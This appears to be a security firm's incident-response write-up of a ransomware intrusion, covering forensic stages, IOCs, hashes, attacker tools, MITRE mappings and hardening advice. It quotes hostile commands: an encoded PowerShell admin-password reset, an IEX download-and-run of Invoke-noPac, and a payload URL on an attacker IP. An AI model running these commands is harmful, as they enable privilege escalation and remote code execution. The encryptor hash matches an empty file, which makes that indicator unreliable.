Adversary Labs from SecurityHQ investigated a ransomware engagement that challenged initial assumptions at every turn. Inaccessible infrastructure, conflicting indicators, and inconsistent security controls across environments meant that what began as a suspected encryption event required a full forensic rebuild before the true picture emerged.

Initial Alert

The investigation began following reports that users were being presented with a ransomware-style popup directing them to an external website during authentication. The customer escalated with several concurrent symptoms pointing toward a significant compromise event.

  • Multiple inaccessible servers across the environment
  • Authentication failures on impacted systems
  • Ransomware-style popup activity during user login
  • Operational disruption affecting business services

As with many ransomware investigations, the initial assumption was that widespread encryption had occurred. That assumption would be challenged throughout the engagement.

The Biggest Challenge: Inaccessible Infrastructure

Several critical servers, including Domain Controllers and application servers, were inaccessible due to the impact of the attack. This prevented direct forensic access to the systems needed to validate ransomware indicators and reconstruct the attack timeline. The affected devices could not connect to forensic tooling and had not been onboarded into SIEM or EDR prior to the incident, so traditional investigative approaches were significantly constrained from the outset.

Without visibility from those systems, analysts were initially unable to determine:

  • Encryption extensions and affected file types
  • Ransom notes and associated artefacts
  • Malware binaries and persistence mechanisms
  • Authentication and system event logs
  • The full scope of compromise

Adapting the Investigation

To overcome these limitations, Adversary Labs worked with the customer to obtain virtual machine snapshot disks from the affected environment. The disks were restored into isolated forensic workstations in a read-only state to preserve evidential integrity and prevent accidental modification of artefacts.

Using forensic tooling, analysts were able to examine file systems without interacting with production systems, identify ransomware-related artefacts, review historical system activity, and support attack timeline reconstruction. The investigation could continue while the affected environment remained contained.

Following the Evidence

Rather than immediately identifying a root cause, the investigation developed through a series of staged discoveries that gradually revealed the full scope of the compromise.

Stage 1: Identifying the Initial Distribution Mechanism

One of the first systems onboarded into the forensic platform was the SCCM server. Analysis identified that the ransom note had been distributed via a scheduled task originating from the SCCM infrastructure, which immediately elevated its significance within the investigation.

The ransom notice was deployed through the Windows Registry using the LegalNotice mechanism, pushing the message to all users at login:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption

Concurrent analysis of the Hyper-V environment uncovered a pattern of credential theft activity:

  • Encoded PowerShell commands executed on the Hyper-V server
  • Connectivity established between the Hyper-V host, Veeam backup infrastructure, and SQL databases
  • Stored credentials extracted and decrypted into readable plaintext
  • The local Administrator account password subsequently reset via encoded PowerShell
powershell.exe -noni -nop -w 1 -enc 
IABuAGUAdAAgAHUAcwBlAHIAIABBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByACAAUABAAHMAcwB3ADAAcgBkAA==

[decoded: net user Administrator P@ssw0rd]
At this point it was clear the attacker had moved beyond initial access and was actively leveraging administrative infrastructure to expand control of the environment.

Stage 2: Establishing Attacker Activity

As the investigation progressed, broader evidence of attacker activity emerged across the environment:

  • Enumeration of virtual machines and connected infrastructure
  • Multiple RDP authentication events using administrative accounts
  • Shellbags artefacts indicating directory browsing on secondary storage volumes
  • Files encrypted with the .payload extension
  • Additional scheduled task creation from privileged accounts
  • Deliberate modification and lockout of a guest account
  • Rclone tooling identified on impacted systems, indicating potential data staging
C:\PerfLogs\rclone-v1.74.1-windows-amd64.zip

Stage 3: Expanding Visibility

Several days into the investigation, additional encrypted systems were recovered and onboarded, significantly expanding investigative visibility. This phase revealed the full toolset the attacker had deployed:

  • RustDesk for remote access
  • RustHound for Active Directory enumeration
  • Port scanning targeting SMB (445) and SSH (22)
  • Rclone for file synchronisation and data staging
  • NoPaC for domain privilege escalation
  • film.exe as the ransomware encryption tooling
  • NetExec (NXC) for lateral movement and network enumeration
  • Wevtutil and Clear-EventLog for event log clearing

Stage 4: Identifying the Root Cause

These findings gave a clear picture of the full attack lifecycle: reconnaissance, privilege escalation, lateral movement, data staging, and ransomware deployment.

The final breakthrough came during analysis of activity originating from the corporate environment. Adversary Labs identified a reverse shell payload that had been pushed from the corporate domain using a compromised third-party super administrator account.

A critical distinction emerged. The reverse shell was successfully blocked within the corporate environment by Microsoft Defender. The same activity was not prevented within the non-corporate environment where equivalent protections were not present. This asymmetry determined where the attacker was able to establish persistence and execute the full attack chain.

The payload was retrieved from an external IP:

http://206.245.132.105/file.exe

This allowed investigators to trace the compromise back to the third-party account and establish the mechanism through which the attacker gained and expanded access across the environment.

Indicators of Compromise and TTPs

Observed Source Infrastructure

Indicator Context
38[.]135[.]25.182 Acronis portal access, Tor-tagged
95[.]168[.]173.143 Acronis script execution source
206[.]245[.]132.105 Payload hosting IP (file.exe)
2[.]57[.]241[.]238 Command and Control IP

Persistence and Remote Access Tools

File SHA-256 Remarks
$bwpshell$.exe de942a246342678fb6435cd8e17f745a63197388e8455675716345460cafcdb4 Login screen bypass
rustdesk-1.4.6-x86_64.exe 422ce31131e6537ea4f611ebf4a4d1804f28a6f58c83aa05065071c5958f1551 Remote access
nxc.exe b42cb4f7c7f085403e2e4fa58df1f5e781807bc13021ea982ba0ecea3e97352f NetExec / lateral movement
file.exe 7239c67e022a3168ecbc0f125d84839aad1ff45642d971f89e6b8d20d4741d13 Reverse shell / C2
film.exe e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 Ransomware encryptor
film.exe:payload f8d36451aa74e7ea30cadd0b88d4b9bbf431a6e51281497ef8a95f6b2c6650aa Encryptor payload

Data Staging and Exfiltration

Indicator Path / Value Context
Rclone binary C:\PerfLogs\rclone-v1.74.1-windows-amd64.zip Data transfer and exfiltration preparation
Export folder C:\PerfLogs\Export Data staging directory
C2 IP 2[.]57[.]241[.]238 Command and Control

Privilege Escalation

Technique Value / Command Remarks
NoPaC IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/ricardojba/Invoke-noPac/main/Invoke-noPac.ps1’) Domain privilege escalation to Domain Admin
Account lockout NewUacValue: “SCRIPT | LOCKOUT [Original value: 0x15]” Deliberate account modification via script
C2 IP 2[.]57[.]241[.]238 Command and Control

Ransomware Artefacts

Indicator Value Remarks
Payload log G:\payload.log Detailed log of encrypted files on server
Registry ransom note HKLM\…\legalnoticetext / legalnoticecaption Ransom note deployed via Windows Registry
Suspicious file \\.\C:\Windows\$bwpshell$.exe Lock screen bypass

Tools Observed During Investigation

Tool Purpose
Acronis Scripting Plan Remote script execution, used to deliver and run the reverse shell
PowerShell (encoded) Payload execution, credential access, AD modification, discovery
NetExec / NXC Lateral movement and network enumeration
Chisel Reverse shell and tunnelling
Tool Purpose
Acronis Scripting PlanRemote script execution, used to deliver and run the reverse shell
PowerShell (encoded)Payload execution, credential access, AD modification, discovery
NetExec / NXCLateral movement and network enumeration
ChiselReverse shell and tunnelling
RustHound-CEActive Directory attack path enumeration
RustDeskRemote access and persistence
RcloneData transfer and potential exfiltration preparation
Invoke-noPaCDomain privilege escalation via NoPaC
Veeam credential extraction scriptBackup infrastructure credential access
film.exeRansomware encryptor (.payload extension)
file.exeReverse shell executable (C2 callback)
Wevtutil.exe / Clear-EventLogEvent log clearing, anti-forensics

Recommendations

01 — Third-Party Access
Secure third-party admin accounts

The initial compromise originated from a third-party super administrator account with excessive and unmonitored access.

  • Enforce MFA for all third-party administrative access
  • Implement Privileged Access Management (PAM)
  • Restrict access to approved systems only
  • Review and rotate privileged credentials regularly
02 — EDR Coverage
Deploy consistent EDR across all environments

The reverse shell executed successfully in the non-corporate environment precisely because endpoint protections present in the corporate environment were not replicated there

  • Deploy EDR across all environments, corporate and non-corporate
  • Ensure policy consistency across all asset types
  • Monitor for suspicious PowerShell activity
  • Regularly validate EDR coverage and policy application
03 — Credential Protection
Secure administrative credentials

Stored backup credentials were extracted from management infrastructure and decrypted into plaintext, giving the attacker a direct path to further access.

  • Eliminate stored plaintext credentials
  • Secure backup and service account credentials
  • Rotate privileged credentials regularly
  • Monitor privileged account usage for anomalies
04 — Infrastructure Hardening
Protect virtualisation and backup platforms

The attacker interacted with Hyper-V, Veeam, and SQL infrastructure throughout the compromise, using each as a stepping stone to the next.

  • Restrict administrative access to Hyper-V hosts
  • Harden backup infrastructure against credential theft
  • Separate administrative management networks
  • Monitor privileged access to virtualisation and backup systems
05 — PRE-RANSOMWARE DETECTION
Monitor for pre-ransomware behaviour

Multiple attacker activities were observable before any encryption occurred. Earlier detection at any of these points could have contained the incident.

  • Alert on encoded PowerShell execution
  • Monitor scheduled task creation
  • Detect remote access tool deployment (RustDesk, Chisel)
  • Alert on Rclone execution and outbound data transfer
  • Monitor for port scanning and domain enumeration
06 — Identity Security
Strengthen authentication monitoring

Authentication activity played a significant role throughout the attack. Stronger identity controls would have surfaced the compromise much earlier.

  • Monitor and alert on privileged logins from unusual geographies
  • Detect excessive or off-hours RDP activity
  • Review account lockouts and modifications
  • Centralise authentication logging across all environments

MITRE ATT&CK Mapping

Tactic Technique ID Detail
Initial AccessT1078Valid accounts: compromised third-party super admin account used for initial access
Initial AccessT1133External remote services: Acronis scripting plan used to execute reverse shell
ExecutionT1059.001PowerShell: encoded commands used for credential reset and payload execution
PersistenceT1053.005Scheduled task: GPUpdate task used to distribute ransom note via SCCM
PersistenceT1547.001Registry run keys: LegalNotice registry keys modified to deploy ransom message
Privilege EscalationT1068NoPaC exploitation: Invoke-noPaC used for domain privilege escalation to Domain Admin
Defence EvasionT1070.001Event log clearing: Wevtutil and Clear-EventLog used to remove forensic evidence
Credential AccessT1003OS credential dumping: stored Veeam credentials extracted and decrypted to plaintext
DiscoveryT1018Remote system discovery: RustHound and RustDesk used for AD enumeration
DiscoveryT1046Network service discovery: port scanning targeting SMB (445) and SSH (22)
Lateral MovementT1021.001RDP: multiple RDP authentications using compromised administrative accounts
Lateral MovementT1021.002SMB/Windows admin shares: NetExec (NXC) used for lateral movement
CollectionT1039Data from network shared drive: Rclone used for file synchronisation and staging
ExfiltrationT1048Exfiltration over alternative protocol: Rclone staging to external destination
Command and ControlT1219Remote access tools: RustDesk and Chisel used for persistent C2 access
ImpactT1486Data encrypted for impact: film.exe ransomware encryptor deployed (.payload extension)
ImpactT1490Inhibit system recovery: login screen bypassed via $bwpshell$.exe
Key takeaway

This engagement demonstrated how a single compromised third-party privileged account can lead to widespread impact when security controls are applied inconsistently across environments. The attacker successfully deployed a reverse shell, escalated privileges, and delivered ransomware in the non-corporate environment, while the same activity was stopped in the corporate environment by existing endpoint protections. Attackers only need one path in. Defenders need consistent visibility and controls across all environments to stop them.